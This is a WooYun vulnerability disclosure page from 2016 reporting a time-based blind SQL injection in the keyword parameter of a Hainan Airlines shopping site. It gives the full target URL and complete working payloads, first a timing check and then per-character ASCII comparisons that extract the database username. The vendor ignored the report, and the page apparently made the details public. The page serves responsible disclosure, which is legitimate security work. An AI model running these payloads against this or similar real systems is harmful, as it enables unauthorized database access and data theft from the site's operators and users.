当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0205460

漏洞标题:海南航空某站存在SQL注入

相关厂商:海南航空

漏洞作者: V1ct0r

提交时间:2016-05-05 22:13

修复时间:2016-05-10 22:20

公开时间:2016-05-10 22:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

╮(╯_╰)╭

详细说明:

#0.存在注入的站点 http://www.airshop.com.cn/ 海南航空金鹏商城
#1.漏洞说明 http://www.airshop.com.cn/ffpclub/kingpeng_list.php Get keyword参数存在 MySQL基于时间的注入
这里对延时注入进行简单验证: http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if%28now%28%29%3dsysdate%28%29%2csleep%280%29%2c0%29/*%27XOR%28if%28now%28%29%3dsysdate%28%29%2csleep%280%29%2c0%29%29OR%27%22XOR%28if%28now%28%29%3dsysdate%28%29%2csleep%280%29%2c0%29%29OR%22*/

sql0.png

sql1.png

sql.png


#3.漏洞验证(这里跑出数据库的user信息)
http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*'XOR(if(ascii(substring(user(),1,1))=101,sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/
e
http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),2,1))=99,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/
c
http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),3,1))=115,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/
s
http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),4,1))=104,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/
h
http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),5,1))=111,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/
o
http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),6,1))=112,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/
p
即数据库用户名为:ecshop(原来是使用的ecshop的程序...)

漏洞证明:

如上

修复方案:

过滤

版权声明:转载请注明来源 V1ct0r@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-10 22:20

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-05 23:40 | Vince、白 ( 路人 | Rank:29 漏洞数:13 | 爱测试,爱代码,爱妹子)

    表示也发现了,无奈未注入进去,不知道为什么